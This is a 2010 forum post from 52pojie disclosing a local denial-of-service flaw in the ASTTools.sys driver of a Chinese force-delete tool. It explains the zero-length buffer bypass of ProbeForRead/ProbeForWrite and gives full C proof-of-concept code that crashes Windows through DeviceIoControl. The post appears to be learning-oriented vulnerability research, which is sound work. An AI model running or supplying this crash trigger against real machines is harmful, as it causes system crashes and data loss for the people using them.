吾爱破解 - 52pojie.cn

 找回密码
 注册[Register]

QQ登录

只需一步,快速开始

查看: 5733|回复: 3
收起左侧

[分享] 超级巡警暴力文件删除工具1.4 ASTTools.sys 本地拒绝服务漏洞

[复制链接]
fyc132 发表于 2010-7-26 23:16
产品版本:超级巡警暴力文件删除工具1.4
文件版本:ASTTools.sys  CheckSum:00013546

问题:
IRP_MJ_DEVICE_CONTROL处理例程存在本地拒绝服务漏洞

使用METHOD_NEITHER方式传递数据,没有对缓冲区进行严格的检查,就进行使用

关键代码
if(IoControlCode == 0x50000407)
{
v10 = UserBuf;
ProbeForRead((const void *)UserBuf, InputBufferLength, 1u);
ProbeForWrite((PVOID)UserBuf, OutputBufferLength, 1u);
RtlInitUnicodeString(&DestinationString, (PCWSTR)UserBuf); //触发异常
........
}

虽然程序有使用ProbeForRead和ProbeForWrite来检查缓冲区的正确性

但可惜的是;ProbeForRead和ProbeForWrite是可以绕过的,即给InputBufferLength和OutputBufferLength填0,就会不做检查了。

如果驱动开发者在留心一下,在自己的程序里对InputBufferLength和OutputBufferLength参数做检查,禁止0长度的buffer,也可以避免此问题,可惜依然没有!

最终造成了这个本地拒绝服务漏洞;



测试代码:
int main(int argc, char* argv[])
{
printf("FileForceKiller 0day 利用程序\n");
printf("本程序会导致蓝屏,请保存好数据\n");
printf("按下回车键激活0day\n");
getchar();

HANDLE handle =CreateFileA("\\\\.\\ASTTools",0,FILE_SHARE_READ|FILE_SHARE_WRITE,0,OPEN_EXISTING,0,0);
printf("%d\n",handle);
ULONG temp;
printf("%d",DeviceIoControl(handle,0x50000407,0,0,(PVOID)0x80000000,0,&temp,0));
//OutputBuffer传0x80000000,这是一个无效内核地址,被读取即会立即蓝屏

//InputBufferLength跟OutputBufferLength传0,这样可以绕过ProbeForRead和ProbeForWrite的检查!
getchar();
return 0 ;
}

以上代码就可以触发蓝屏



参考地址:
http://hi.baidu.com/mj0011/blog/item/58b9367f2fcc870d29388a3d.html


感言:
在MJ的博客里面逛一圈可以学不少好东西哈;

此文章多处地方参考(抄袭)了MJ博客里面的文章,希望MJ大大不要见怪


另外要在这里特别感谢群里的大大,紫色秋枫,......在这方面对我的指导


小弟我初学0DAY,文章中如有错误之处,希望各位大大们及时指出,

另外各位大大们别喷我,我只是个菜鸟

发帖前要善用论坛搜索功能,那里可能会有你要找的答案或者已经有人发布过相同内容了,请勿重复发帖。

nofriend 发表于 2010-7-26 23:19
神人。厉害。
 楼主| fyc132 发表于 2010-7-26 23:23
tysan 发表于 2010-7-26 23:25
您需要登录后才可以回帖 登录 | 注册[Register]

本版积分规则

返回列表

RSS订阅|小黑屋|处罚记录|联系我们|吾爱破解 - LCG - LSG ( 京ICP备16042023号 | 京公网安备 11010502030087号 )

GMT+8, 2024-11-15 06:40

Powered by Discuz!

Copyright © 2001-2020, Tencent Cloud.

快速回复 返回顶部 返回列表